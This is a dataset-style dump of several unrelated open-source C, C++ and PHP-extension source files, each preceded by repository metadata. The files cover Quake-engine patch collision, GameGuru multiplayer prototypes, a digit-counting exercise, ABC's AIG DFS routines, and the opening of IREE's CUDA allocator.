PHP_ME(Phalcon_Support_Helper_Str_Includes, __invoke, arginfo_phalcon_support_helper_str_includes___invoke, ZEND_ACC_PUBLIC)
PHP_FE_END
};
|
d95029587d24e936eb51d2d60dba3a382a6b6153
|
e929a84dec3a6e710351261a6de895308efa6d33
|
/code/qcommon/cm_patch.h
|
42538d883e0f6ddd440d394c35a0ba92487ad6b0
|
[] |
no_license
|
xLAva/JediAcademyLinux
|
570d85e1e24d950ab63e9297135248362d873dbd
|
1d31492a576106e104f49bd9b5fe7f7792a90e89
|
refs/heads/JediAcademyLinux
| 2021-01-18T21:23:43.164581
| 2014-11-29T13:52:49
| 2014-11-29T13:52:49
| 9,734,512
| 125
| 18
| null | 2013-09-24T19:02:36
| 2013-04-28T18:51:54
|
C++
|
UTF-8
|
C
| false
| false
| 3,557
|
h
|
cm_patch.h
|
//#define CULL_BBOX
/*
This file does not reference any globals, and has these entry points:
void CM_ClearLevelPatches( void );
struct patchCollide_s *CM_GeneratePatchCollide( int width, int height, const vec3_t *points );
void CM_TraceThroughPatchCollide( traceWork_t *tw, const struct patchCollide_s *pc );
qboolean CM_PositionTestInPatchCollide( traceWork_t *tw, const struct patchCollide_s *pc );
void CM_DrawDebugSurface( void (*drawPoly)(int color, int numPoints, flaot *points) );
Issues for collision against curved surfaces:
Surface edges need to be handled differently than surface planes
Plane expansion causes raw surfaces to expand past expanded bounding box
Position test of a volume against a surface is tricky.
Position test of a point against a surface is not well defined, because the surface has no volume.
Tracing leading edge points instead of volumes?
Position test by tracing corner to corner? (8*7 traces -- ouch)
coplanar edges
triangulated patches
degenerate patches
endcaps
degenerate
WARNING: this may misbehave with meshes that have rows or columns that only
degenerate a few triangles. Completely degenerate rows and columns are handled
properly.
*/
#define MAX_FACETS 1024
#define MAX_PATCH_PLANES 2048
typedef struct {
float plane[4];
int signbits; // signx + (signy<<1) + (signz<<2), used as lookup during collision
} patchPlane_t;
#ifdef _XBOX
//Facets are now two structures - a maximum sized version that's used
//temporarily during load time, and smaller version that only allocates
//as much memory as needed. The load version is copied into the small
//version after it's been assembled.
#pragma pack(push, 1)
typedef struct {
int surfacePlane;
int numBorders; // 3 or four + 6 axial bevels + 4 or 3 * 4 edge bevels
short borderPlanes[4+6+16];
unsigned char borderInward[4+6+16];
unsigned char borderNoAdjust[4+6+16];
} facetLoad_t;
typedef struct {
int surfacePlane;
int numBorders; // 3 or four + 6 axial bevels + 4 or 3 * 4 edge bevels
char *data;
short *GetBorderPlanes(void) { return (short*)data; }
char *GetBorderInward(void) { return data + (numBorders * 2); }
char *GetBorderNoAdjust(void)
{ return data + (numBorders * 2) + numBorders; }
const short *GetBorderPlanes(void) const { return (short*)data; }
const char *GetBorderInward(void) const { return data + (numBorders * 2); }
const char *GetBorderNoAdjust(void) const
{ return data + (numBorders * 2) + numBorders; }
} facet_t;
#pragma pack(pop)
#else // _XBOX
typedef struct {
int surfacePlane;
int numBorders; // 3 or four + 6 axial bevels + 4 or 3 * 4 edge bevels
int borderPlanes[4+6+16];
int borderInward[4+6+16];
qboolean borderNoAdjust[4+6+16];
} facet_t;
#endif // _XBOX
typedef struct patchCollide_s {
vec3_t bounds[2];
int numPlanes; // surface planes plus edge planes
patchPlane_t *planes;
int numFacets;
facet_t *facets;
} patchCollide_t;
#define CM_MAX_GRID_SIZE 129
typedef struct {
int width;
int height;
qboolean wrapWidth;
qboolean wrapHeight;
vec3_t points[CM_MAX_GRID_SIZE][CM_MAX_GRID_SIZE]; // [width][height]
} cGrid_t;
#define SUBDIVIDE_DISTANCE 16 //4 // never more than this units away from curve
#define PLANE_TRI_EPSILON 0.1
#define WRAP_POINT_EPSILON 0.1
#ifdef _XBOX
struct patchCollide_s *CM_GeneratePatchCollide( int width, int height, vec3_t *points,
facetLoad_t *facetbuf, int *gridbuf );
#else
struct patchCollide_s *CM_GeneratePatchCollide( int width, int height, vec3_t *points );
#endif // _XBOX
|
a8b1774cff86c01be63be5a8c54e18e5ca5eda41
|
a3e7088f055ba6630811109725eacf2c848beb74
|
/GameGuru Core/GameGuru/Include/M-MP.h
|
4616573c69fbd8bde4e84eff8660cc063a0880d2
|
[] |
no_license
|
TheGameCreators/GameGuruRepo
|
36482fae506c248430028257b4c06680a9530e18
|
a1ea066e6b57c02b067bdaad4db22399095aa710
|
refs/heads/master
| 2023-07-08T03:17:06.712299
| 2023-06-19T11:45:06
| 2023-06-19T11:45:06
| 117,701,801
| 158
| 62
| null | 2023-06-29T05:57:55
| 2018-01-16T15:29:09
|
C++
|
UTF-8
|
C
| false
| false
| 4,467
|
h
|
M-MP.h
|
//----------------------------------------------------
//--- GAMEGURU - M-Multiplayer
//----------------------------------------------------
#include "cstr.h"
void mp_init ( void );
void mp_fullinit ( void );
void mp_fullclose ( void );
void mp_loop ( void );
void mp_free ( void );
void mp_checkToCleanUpMasterHostList ( void );
void mp_checkVoiceChat ( void );
void mp_spawn_objects ( void );
void mp_lua ( void );
void mp_delete_entities ( void );
void mp_gamecloud_getlist(void);
int mp_gamecloud_delete(LPSTR fileName);
void mp_gamecloud_deleteALLgamefiles(LPSTR siteName);
int mp_gamecloud_overwriteexisting(LPSTR fileName);
int mp_gamecloud_upload(bool bStartUpload, LPSTR fileName, LPSTR pFinalFilenameToUse);
float mp_gamecloud_getprogress(void);
LPSTR mp_gamecloud_geterror(void);
void mp_pre_game_file_sync ( void );
void mp_pre_game_file_sync_server ( int iOnlySendMapToSpecificPlayer );
void mp_pre_game_file_sync_client ( void );
void mp_sendAvatarInfo ( void );
void mp_animation ( void );
void mp_update_player ( void );
void mp_updatePlayerPositions ( void );
void mp_server_message ( void );
void mp_updatePlayerNamePlates ( void );
void mp_updatePlayerAnimations ( void );
void mp_switchDirectAnim ( int iAnimIndex );
void mp_switchAnim ( void );
void mp_update_waist_rotation ( void );
void mp_showdeath ( void );
void mp_respawn ( void );
void mp_getPlaceToSpawn ( void );
void mp_getInitialPlayerCount ( void );
void mp_nukeTestmap ( void );
void mp_respawnEntities ( void );
void mp_addDestroyedObject ( void );
void mp_add_respawn_timed ( void );
void mp_setLuaPlayerNames ( void );
void mp_setLuaResetStats ( void );
void mp_updatePlayerInput ( void );
void mp_load_guns ( void );
void mp_check_for_attachments ( void );
void mp_addJetpackParticles ( void );
void mp_NearOtherPlayers ( void );
void mp_check_respawn_objects ( void );
void mp_checkForEveryoneLeft ( void );
void mp_lostConnection ( void );
void mp_gameLoop ( void );
void mp_dontShowOtherPlayers ( void );
void mp_ending_game ( void );
void mp_free_game ( void );
void mp_subbedToItem ( void );
void mp_checkItemSubbed ( void );
void mp_resetGameStats ( void );
void mp_update_all_projectiles ( void );
void mp_destroyentity ( void );
void mp_refresh ( void );
int mp_closeconnection ( void );
void mp_setMessage ( void );
void mp_setMessageDots ( void );
void mp_message ( void );
void mp_messageDots ( void );
void mp_update_projectile ( void );
void mp_serverSetLuaGameMode ( void );
void mp_setServerTimer ( void );
void mp_serverRespawnAll ( void );
void mp_restoreEntities ( void );
void mp_serverEndPlay ( void );
void mp_setServerKillsToWin ( void );
void mp_networkkill ( void );
void mp_lobbyListBox ( void );
void mp_createLobby ( void );
void mp_searchForLobbies ( void );
void mp_searchForFpms ( void );
void mp_launchGame ( void );
void mp_restartMultiplayerSystem ( void );
void mp_backToStart ( void );
void mp_selectedALevel ( void );
void mp_checkIfLevelHasCustomContent ( void );
void mp_buildWorkShopItem ( void );
void mp_buildingWorkshopItemFailed ( void );
void mp_joinALobby ( void );
void mp_canIJoinThisLobby ( void );
void mp_leaveALobby ( void );
void mp_SubscribeToWorkShopItem ( void );
void mp_grabWorkshopChangedFlagAndVersion ( void );
int mp_check_if_entity_is_from_install ( char* name_s );
void mp_resetSteam ( void );
void mp_shoot ( void );
void mp_chat ( void );
void mp_chatNew ( void );
void mp_quitGame ( void );
void mp_freefadesprite ( void );
void mp_backToEditor ( void );
void mp_cleanupGame ( void );
void mp_sendSteamIDToEditor ( void );
void mp_checkIfLobbiesAvailable ( void );
void mp_flashLightOff ( void );
void mp_setupCoopTeam ( void );
void mp_COOP_aiMoveTo ( void );
void mp_entity_lua_lookatplayer ( void );
void mp_entity_lua_fireweaponEffectOnly ( void );
void mp_updateAIForCOOP ( void );
void mp_coop_rotatetoplayer ( void );
void mp_storeOldEntityPositions ( void );
void mp_howManyEnemiesLeftToKill ( void );
void mp_IKilledAnAI ( void );
void mp_text ( int x, int y, int size, char* txt_s );
void mp_textDots ( int x, int y, int size, char* txt_s );
void mp_textColor ( int x, int y, int size, char* txt_s, int r, int g, int b );
void mp_panel ( int x, int y, int x2, int y2 );
void mp_deleteFile ( char* tempFileToDelete_s );
int mp_check_if_lua_entity_exists ( int tentitytocheck );
void mp_sendlua ( int code, int e, int v );
void mp_sendluaToPlayer ( int iRealPhotonPlayerID, int code, int e, int v );
|
77351b91a273508398cb648de24573f781220cf6
|
2be0425abb1b3fffd1fe5522550d6e2eed0b1c21
|
/基础编程题目集/6-9_统计个位数字 (15).c
|
e7f7eea3075cb49279d880576fd1edbc8ab110f7
|
[] |
no_license
|
tiny656/PAT
|
184fe85faa01493057e74ec415b627a64a756e8a
|
1fd038bb96401c048a9496d890a2c172c04a88bf
|
refs/heads/master
| 2023-05-25T04:39:04.591197
| 2023-05-15T13:17:50
| 2023-05-15T13:17:50
| 6,883,938
| 270
| 76
| null | 2016-01-04T01:02:55
| 2012-11-27T13:40:03
|
C++
|
UTF-8
|
C
| false
| false
| 195
|
c
|
6-9_统计个位数字 (15).c
|
int Count_Digit ( const int N, const int D )
{
int n = abs(N);
int countD = 0;
do
{
if (n % 10 == D) countD++;
n /= 10;
} while (n != 0);
return countD;
}
|
bead1e10273956fb58d14d95171625e13c3137b3
|
971b2cea2d1c3001aadc8ca1a48110b7db1ed5f2
|
/deps/abc/src/aig/gia/giaDfs.c
|
7ed59b9a23bb44c06e423f0f17aa1e6b0bf13d56
|
[
"LicenseRef-scancode-warranty-disclaimer",
"MIT",
"MIT-Modern-Variant"
] |
permissive
|
emsec/hal
|
70ad2921739967d914dd458984bd7d6d497d3b0a
|
e4fae37bec9168a61100eacfda37a1f291b4d0be
|
refs/heads/master
| 2023-09-02T20:27:32.909426
| 2023-09-01T13:03:24
| 2023-09-01T13:03:24
| 169,076,171
| 510
| 72
|
MIT
| 2023-09-01T13:03:26
| 2019-02-04T12:37:20
|
C++
|
UTF-8
|
C
| false
| false
| 17,666
|
c
|
giaDfs.c
|
/**CFile****************************************************************
FileName [giaDfs.c]
SystemName [ABC: Logic synthesis and verification system.]
PackageName [Scalable AIG package.]
Synopsis [DFS procedures.]
Author [Alan Mishchenko]
Affiliation [UC Berkeley]
Date [Ver. 1.0. Started - June 20, 2005.]
Revision [$Id: giaDfs.c,v 1.00 2005/06/20 00:00:00 alanmi Exp $]
***********************************************************************/
#include "gia.h"
ABC_NAMESPACE_IMPL_START
////////////////////////////////////////////////////////////////////////
/// DECLARATIONS ///
////////////////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////////////////
/// FUNCTION DEFINITIONS ///
////////////////////////////////////////////////////////////////////////
/**Function*************************************************************
Synopsis [Counts the support size of the node.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectCis_rec( Gia_Man_t * p, Gia_Obj_t * pObj, Vec_Int_t * vSupp )
{
if ( Gia_ObjIsTravIdCurrent(p, pObj) )
return;
Gia_ObjSetTravIdCurrent(p, pObj);
if ( Gia_ObjIsCi(pObj) )
{
Vec_IntPush( vSupp, Gia_ObjId(p, pObj) );
return;
}
assert( Gia_ObjIsAnd(pObj) );
Gia_ManCollectCis_rec( p, Gia_ObjFanin0(pObj), vSupp );
Gia_ManCollectCis_rec( p, Gia_ObjFanin1(pObj), vSupp );
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectCis( Gia_Man_t * p, int * pNodes, int nNodes, Vec_Int_t * vSupp )
{
Gia_Obj_t * pObj;
int i;
Vec_IntClear( vSupp );
Gia_ManIncrementTravId( p );
Gia_ObjSetTravIdCurrent( p, Gia_ManConst0(p) );
for ( i = 0; i < nNodes; i++ )
{
pObj = Gia_ManObj( p, pNodes[i] );
if ( Gia_ObjIsCo(pObj) )
Gia_ManCollectCis_rec( p, Gia_ObjFanin0(pObj), vSupp );
else
Gia_ManCollectCis_rec( p, pObj, vSupp );
}
}
/**Function*************************************************************
Synopsis [Counts the support size of the node.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectAnds_rec( Gia_Man_t * p, int iObj, Vec_Int_t * vNodes )
{
Gia_Obj_t * pObj;
if ( Gia_ObjIsTravIdCurrentId(p, iObj) )
return;
Gia_ObjSetTravIdCurrentId(p, iObj);
pObj = Gia_ManObj( p, iObj );
if ( Gia_ObjIsCi(pObj) )
return;
assert( Gia_ObjIsAnd(pObj) );
Gia_ManCollectAnds_rec( p, Gia_ObjFaninId0(pObj, iObj), vNodes );
Gia_ManCollectAnds_rec( p, Gia_ObjFaninId1(pObj, iObj), vNodes );
Vec_IntPush( vNodes, iObj );
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectAnds( Gia_Man_t * p, int * pNodes, int nNodes, Vec_Int_t * vNodes, Vec_Int_t * vLeaves )
{
int i, iLeaf;
// Gia_ManIncrementTravId( p );
Gia_ObjSetTravIdCurrentId( p, 0 );
if ( vLeaves )
Vec_IntForEachEntry( vLeaves, iLeaf, i )
Gia_ObjSetTravIdCurrentId( p, iLeaf );
Vec_IntClear( vNodes );
for ( i = 0; i < nNodes; i++ )
{
Gia_Obj_t * pObj = Gia_ManObj( p, pNodes[i] );
if ( Gia_ObjIsCo(pObj) )
Gia_ManCollectAnds_rec( p, Gia_ObjFaninId0(pObj, pNodes[i]), vNodes );
else if ( Gia_ObjIsAnd(pObj) )
Gia_ManCollectAnds_rec( p, pNodes[i], vNodes );
}
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
Vec_Int_t * Gia_ManCollectAndsAll( Gia_Man_t * p )
{
Gia_Obj_t * pObj; int i;
Vec_Int_t * vNodes = Vec_IntAlloc( Gia_ManAndNum(p) );
Gia_ManForEachAnd( p, pObj, i )
Vec_IntPush( vNodes, i );
return vNodes;
}
/**Function*************************************************************
Synopsis [Counts the support size of the node.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectNodesCis_rec( Gia_Man_t * p, Gia_Obj_t * pObj, Vec_Int_t * vNodes )
{
if ( Gia_ObjIsTravIdCurrent(p, pObj) )
return;
Gia_ObjSetTravIdCurrent(p, pObj);
if ( Gia_ObjIsCi(pObj) )
{
Vec_IntPush( vNodes, Gia_ObjId(p, pObj) );
return;
}
assert( Gia_ObjIsAnd(pObj) );
Gia_ManCollectNodesCis_rec( p, Gia_ObjFanin0(pObj), vNodes );
Gia_ManCollectNodesCis_rec( p, Gia_ObjFanin1(pObj), vNodes );
Vec_IntPush( vNodes, Gia_ObjId(p, pObj) );
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
Vec_Int_t * Gia_ManCollectNodesCis( Gia_Man_t * p, int * pNodes, int nNodes )
{
Vec_Int_t * vNodes;
Gia_Obj_t * pObj;
int i;
vNodes = Vec_IntAlloc( 10000 );
Gia_ManIncrementTravId( p );
Gia_ObjSetTravIdCurrent( p, Gia_ManConst0(p) );
for ( i = 0; i < nNodes; i++ )
{
pObj = Gia_ManObj( p, pNodes[i] );
if ( Gia_ObjIsCo(pObj) )
Gia_ManCollectNodesCis_rec( p, Gia_ObjFanin0(pObj), vNodes );
else
Gia_ManCollectNodesCis_rec( p, pObj, vNodes );
}
return vNodes;
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectTest( Gia_Man_t * p )
{
Vec_Int_t * vNodes;
Gia_Obj_t * pObj;
int i, iNode;
abctime clk = Abc_Clock();
vNodes = Vec_IntAlloc( 100 );
Gia_ManIncrementTravId( p );
Gia_ManForEachCo( p, pObj, i )
{
iNode = Gia_ObjId(p, pObj);
Gia_ManCollectAnds( p, &iNode, 1, vNodes, NULL );
}
Vec_IntFree( vNodes );
ABC_PRT( "DFS from each output", Abc_Clock() - clk );
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
int Gia_ManSuppSize_rec( Gia_Man_t * p, Gia_Obj_t * pObj )
{
if ( Gia_ObjIsTravIdCurrent(p, pObj) )
return 0;
Gia_ObjSetTravIdCurrent(p, pObj);
if ( Gia_ObjIsCi(pObj) )
return 1;
assert( Gia_ObjIsAnd(pObj) );
return Gia_ManSuppSize_rec( p, Gia_ObjFanin0(pObj) ) +
Gia_ManSuppSize_rec( p, Gia_ObjFanin1(pObj) );
}
/**Function*************************************************************
Synopsis [Computes support size of the node.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
int Gia_ManSuppSizeOne( Gia_Man_t * p, Gia_Obj_t * pObj )
{
Gia_ManIncrementTravId( p );
return Gia_ManSuppSize_rec( p, pObj );
}
/**Function*************************************************************
Synopsis [Computes support size of the node.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
int Gia_ManSuppSizeTest( Gia_Man_t * p )
{
Gia_Obj_t * pObj;
int i, Counter = 0;
abctime clk = Abc_Clock();
Gia_ManForEachObj( p, pObj, i )
if ( Gia_ObjIsAnd(pObj) )
Counter += (Gia_ManSuppSizeOne(p, pObj) <= 16);
printf( "Nodes with small support %d (out of %d)\n", Counter, Gia_ManAndNum(p) );
Abc_PrintTime( 1, "Time", Abc_Clock() - clk );
return Counter;
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
int Gia_ManSuppSize( Gia_Man_t * p, int * pNodes, int nNodes )
{
Gia_Obj_t * pObj;
int i, Counter = 0;
Gia_ManIncrementTravId( p );
Gia_ObjSetTravIdCurrent( p, Gia_ManConst0(p) );
for ( i = 0; i < nNodes; i++ )
{
pObj = Gia_ManObj( p, pNodes[i] );
if ( Gia_ObjIsCo(pObj) )
Counter += Gia_ManSuppSize_rec( p, Gia_ObjFanin0(pObj) );
else
Counter += Gia_ManSuppSize_rec( p, pObj );
}
return Counter;
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
int Gia_ManConeSize_rec( Gia_Man_t * p, Gia_Obj_t * pObj )
{
if ( Gia_ObjIsTravIdCurrent(p, pObj) )
return 0;
Gia_ObjSetTravIdCurrent(p, pObj);
if ( Gia_ObjIsCi(pObj) )
return 0;
assert( Gia_ObjIsAnd(pObj) );
return 1 + Gia_ManConeSize_rec( p, Gia_ObjFanin0(pObj) ) +
Gia_ManConeSize_rec( p, Gia_ObjFanin1(pObj) );
}
/**Function*************************************************************
Synopsis [Collects support nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
int Gia_ManConeSize( Gia_Man_t * p, int * pNodes, int nNodes )
{
Gia_Obj_t * pObj;
int i, Counter = 0;
Gia_ManIncrementTravId( p );
Gia_ObjSetTravIdCurrent( p, Gia_ManConst0(p) );
for ( i = 0; i < nNodes; i++ )
{
pObj = Gia_ManObj( p, pNodes[i] );
if ( Gia_ObjIsCo(pObj) )
Counter += Gia_ManConeSize_rec( p, Gia_ObjFanin0(pObj) );
else
Counter += Gia_ManConeSize_rec( p, pObj );
}
return Counter;
}
/**Function*************************************************************
Synopsis [Levelizes the nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
Vec_Vec_t * Gia_ManLevelize( Gia_Man_t * p )
{
Gia_Obj_t * pObj;
Vec_Vec_t * vLevels;
int nLevels, Level, i;
nLevels = Gia_ManLevelNum( p );
vLevels = Vec_VecStart( nLevels + 1 );
Gia_ManForEachAnd( p, pObj, i )
{
Level = Gia_ObjLevel( p, pObj );
assert( Level <= nLevels );
Vec_VecPush( vLevels, Level, pObj );
}
return vLevels;
}
/**Function*************************************************************
Synopsis [Levelizes the nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
Vec_Wec_t * Gia_ManLevelizeR( Gia_Man_t * p )
{
Gia_Obj_t * pObj;
Vec_Wec_t * vLevels;
int nLevels, Level, i;
nLevels = Gia_ManLevelRNum( p );
vLevels = Vec_WecStart( nLevels + 1 );
Gia_ManForEachObj( p, pObj, i )
{
if ( i == 0 || (!Gia_ObjIsCo(pObj) && !Gia_ObjLevel(p, pObj)) )
continue;
Level = Gia_ObjLevel( p, pObj );
assert( Level <= nLevels );
Vec_WecPush( vLevels, Level, i );
}
return vLevels;
}
/**Function*************************************************************
Synopsis [Computes reverse topological order.]
Description [Assumes that levels are already assigned.
The levels of CO nodes may not be assigned.]
SideEffects []
SeeAlso []
***********************************************************************/
Vec_Int_t * Gia_ManOrderReverse( Gia_Man_t * p )
{
Gia_Obj_t * pObj;
Vec_Vec_t * vLevels;
Vec_Ptr_t * vLevel;
Vec_Int_t * vResult;
int i, k;
vLevels = Vec_VecStart( 100 );
// make sure levels are assigned
Gia_ManForEachAnd( p, pObj, i )
assert( Gia_ObjLevel(p, pObj) > 0 );
// add CO nodes based on the level of their fanin
Gia_ManForEachCo( p, pObj, i )
Vec_VecPush( vLevels, Gia_ObjLevel(p, Gia_ObjFanin0(pObj)), pObj );
// add other nodes based on their level
Gia_ManForEachObj( p, pObj, i )
if ( !Gia_ObjIsCo(pObj) )
Vec_VecPush( vLevels, Gia_ObjLevel(p, pObj), pObj );
// put the nodes in the reverse topological order
vResult = Vec_IntAlloc( Gia_ManObjNum(p) );
Vec_VecForEachLevelReverse( vLevels, vLevel, i )
Vec_PtrForEachEntry( Gia_Obj_t *, vLevel, pObj, k )
Vec_IntPush( vResult, Gia_ObjId(p, pObj) );
Vec_VecFree( vLevels );
return vResult;
}
/**Function*************************************************************
Synopsis []
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectSeq_rec( Gia_Man_t * p, int Id, Vec_Int_t * vRoots, Vec_Int_t * vObjs )
{
Gia_Obj_t * pObj;
if ( Gia_ObjIsTravIdCurrentId( p, Id ) )
return;
Gia_ObjSetTravIdCurrentId( p, Id );
pObj = Gia_ManObj( p, Id );
if ( Gia_ObjIsAnd(pObj) )
{
Gia_ManCollectSeq_rec( p, Gia_ObjFaninId0(pObj, Id), vRoots, vObjs );
Gia_ManCollectSeq_rec( p, Gia_ObjFaninId1(pObj, Id), vRoots, vObjs );
}
else if ( Gia_ObjIsCi(pObj) )
{
if ( Gia_ObjIsRo(p, pObj) )
Vec_IntPush( vRoots, Gia_ObjId(p, Gia_ObjRoToRi(p, pObj)) );
}
else if ( Gia_ObjIsCo(pObj) )
Gia_ManCollectSeq_rec( p, Gia_ObjFaninId0(pObj, Id), vRoots, vObjs );
else assert( 0 );
Vec_IntPush( vObjs, Id );
}
Vec_Int_t * Gia_ManCollectSeq( Gia_Man_t * p, int * pPos, int nPos )
{
Vec_Int_t * vObjs, * vRoots;
int i, iRoot;
// collect roots
vRoots = Vec_IntAlloc( 100 );
for ( i = 0; i < nPos; i++ )
Vec_IntPush( vRoots, Gia_ObjId(p, Gia_ManPo(p, pPos[i])) );
// start trav IDs
Gia_ManIncrementTravId( p );
Gia_ObjSetTravIdCurrentId( p, 0 );
// collect objects
vObjs = Vec_IntAlloc( 1000 );
Vec_IntPush( vObjs, 0 );
Vec_IntForEachEntry( vRoots, iRoot, i )
Gia_ManCollectSeq_rec( p, iRoot, vRoots, vObjs );
Vec_IntFree( vRoots );
return vObjs;
}
void Gia_ManCollectSeqTest( Gia_Man_t * p )
{
Vec_Int_t * vObjs;
int i;
abctime clk = Abc_Clock();
for ( i = 0; i < Gia_ManPoNum(p); i++ )
{
if ( i % 10000 == 0 )
printf( "%8d finished...\r", i );
vObjs = Gia_ManCollectSeq( p, &i, 1 );
// printf( "%d ", Vec_IntSize(vObjs) );
Vec_IntFree( vObjs );
}
Abc_PrintTime( 1, "Time", Abc_Clock() - clk );
}
/**Function*************************************************************
Synopsis [Collect TFI nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectTfi_rec( Gia_Man_t * p, int iObj, Vec_Int_t * vNodes )
{
Gia_Obj_t * pObj;
if ( Gia_ObjIsTravIdCurrentId(p, iObj) )
return;
Gia_ObjSetTravIdCurrentId(p, iObj);
pObj = Gia_ManObj( p, iObj );
if ( Gia_ObjIsCi(pObj) )
return;
assert( Gia_ObjIsAnd(pObj) );
Gia_ManCollectTfi_rec( p, Gia_ObjFaninId0(pObj, iObj), vNodes );
Gia_ManCollectTfi_rec( p, Gia_ObjFaninId1(pObj, iObj), vNodes );
Vec_IntPush( vNodes, iObj );
}
void Gia_ManCollectTfi( Gia_Man_t * p, Vec_Int_t * vRoots, Vec_Int_t * vNodes )
{
int i, iRoot;
Vec_IntClear( vNodes );
Gia_ManIncrementTravId( p );
Vec_IntForEachEntry( vRoots, iRoot, i )
Gia_ManCollectTfi_rec( p, iRoot, vNodes );
}
/**Function*************************************************************
Synopsis [Collect TFI nodes.]
Description []
SideEffects []
SeeAlso []
***********************************************************************/
void Gia_ManCollectTfo_rec( Gia_Man_t * p, int iObj, Vec_Int_t * vNodes )
{
Gia_Obj_t * pObj; int i, iFan;
if ( Gia_ObjIsTravIdCurrentId(p, iObj) )
return;
Gia_ObjSetTravIdCurrentId(p, iObj);
pObj = Gia_ManObj( p, iObj );
if ( Gia_ObjIsCo(pObj) )
return;
assert( Gia_ObjIsAnd(pObj) );
Gia_ObjForEachFanoutStaticId( p, iObj, iFan, i )
Gia_ManCollectTfo_rec( p, iFan, vNodes );
Vec_IntPush( vNodes, iObj );
}
void Gia_ManCollectTfo( Gia_Man_t * p, Vec_Int_t * vRoots, Vec_Int_t * vNodes )
{
int i, iRoot;
Vec_IntClear( vNodes );
Gia_ManIncrementTravId( p );
Vec_IntForEachEntry( vRoots, iRoot, i )
Gia_ManCollectTfo_rec( p, iRoot, vNodes );
}
////////////////////////////////////////////////////////////////////////
/// END OF FILE ///
////////////////////////////////////////////////////////////////////////
ABC_NAMESPACE_IMPL_END
|
c56dfe5b4a43f2a7b23d58e0a5b1262dec725da6
|
aa5c1a530f95d629e686ac9124caf1a49a9f23e9
|
/runtime/src/iree/hal/drivers/cuda/cuda_allocator.c
|
d010be080e650c955cc97c031bd25e76cd106be2
|
[
"Apache-2.0",
"LLVM-exception",
"LicenseRef-scancode-unknown-license-reference"
] |
permissive
|
openxla/iree
|
eacf5b239559e1d3b40c38039ac4c26315b523f7
|
13ef677e556d0a1d154e45b052fe016256057f65
|
refs/heads/main
| 2023-09-06T01:19:49.598662
| 2023-09-04T07:01:30
| 2023-09-04T07:01:30
| 208,145,128
| 387
| 110
|
Apache-2.0
| 2023-09-14T20:48:00
| 2019-09-12T20:57:39
|
C++
|
UTF-8
|
C
| false
| false
| 25,921
|
c
|
cuda_allocator.c
|
// Copyright 2021 The IREE Authors
//
// Licensed under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
#include "iree/hal/drivers/cuda/cuda_allocator.h"
#include <stddef.h>
#include "iree/base/api.h"
#include "iree/hal/drivers/cuda/cuda_buffer.h"
#include "iree/hal/drivers/cuda/dynamic_symbols.h"
#include "iree/hal/drivers/cuda/status_util.h"
#if IREE_TRACING_FEATURES & IREE_TRACING_FEATURE_ALLOCATION_TRACKING
static const char* IREE_HAL_CUDA_ALLOCATOR_ID = "CUDA unpooled";
#endif // IREE_TRACING_FEATURE_ALLOCATION_TRACKING
typedef struct iree_hal_cuda_allocator_t {
iree_hal_resource_t resource;
iree_hal_cuda_context_wrapper_t* context;
CUdevice device;
CUstream stream;
iree_hal_cuda_memory_pools_t* pools;
bool supports_concurrent_managed_access;
bool supports_read_only_host_register;
IREE_STATISTICS(iree_hal_allocator_statistics_t statistics;)
} iree_hal_cuda_allocator_t;
static const iree_hal_allocator_vtable_t iree_hal_cuda_allocator_vtable;
static iree_hal_cuda_allocator_t* iree_hal_cuda_allocator_cast(
iree_hal_allocator_t* base_value) {
IREE_HAL_ASSERT_TYPE(base_value, &iree_hal_cuda_allocator_vtable);
return (iree_hal_cuda_allocator_t*)base_value;
}
iree_status_t iree_hal_cuda_allocator_create(
iree_hal_cuda_context_wrapper_t* context, CUdevice device, CUstream stream,
iree_hal_cuda_memory_pools_t* pools, iree_hal_allocator_t** out_allocator) {
IREE_ASSERT_ARGUMENT(context);
IREE_ASSERT_ARGUMENT(pools);
IREE_TRACE_ZONE_BEGIN(z0);
// To support device-local + host-visible memory we need concurrent managed
// access indicating that the host and devices can concurrently access the
// device memory. If we don't have this feature then we fall back to forcing
// all device-local + host-visible memory into host-local + device-visible
// page-locked memory. The compiler tries to avoid this for high-traffic
// buffers except for readback staging buffers.
int supports_concurrent_managed_access = 0;
IREE_RETURN_AND_END_ZONE_IF_ERROR(
z0, CU_RESULT_TO_STATUS(
context->syms,
cuDeviceGetAttribute(
&supports_concurrent_managed_access,
CU_DEVICE_ATTRIBUTE_CONCURRENT_MANAGED_ACCESS, device),
"cuDeviceGetAttribute"));
IREE_TRACE_ZONE_APPEND_TEXT(
z0, supports_concurrent_managed_access
? "has CONCURRENT_MANAGED_ACCESS"
: "no CONCURRENT_MANAGED_ACCESS (expect slow accesses on "
"device-local + host-visible memory)");
// We can only provide the CU_MEMHOSTREGISTER_READ_ONLY flag when importing
// host memory if it's supported.
int supports_read_only_host_register = 0;
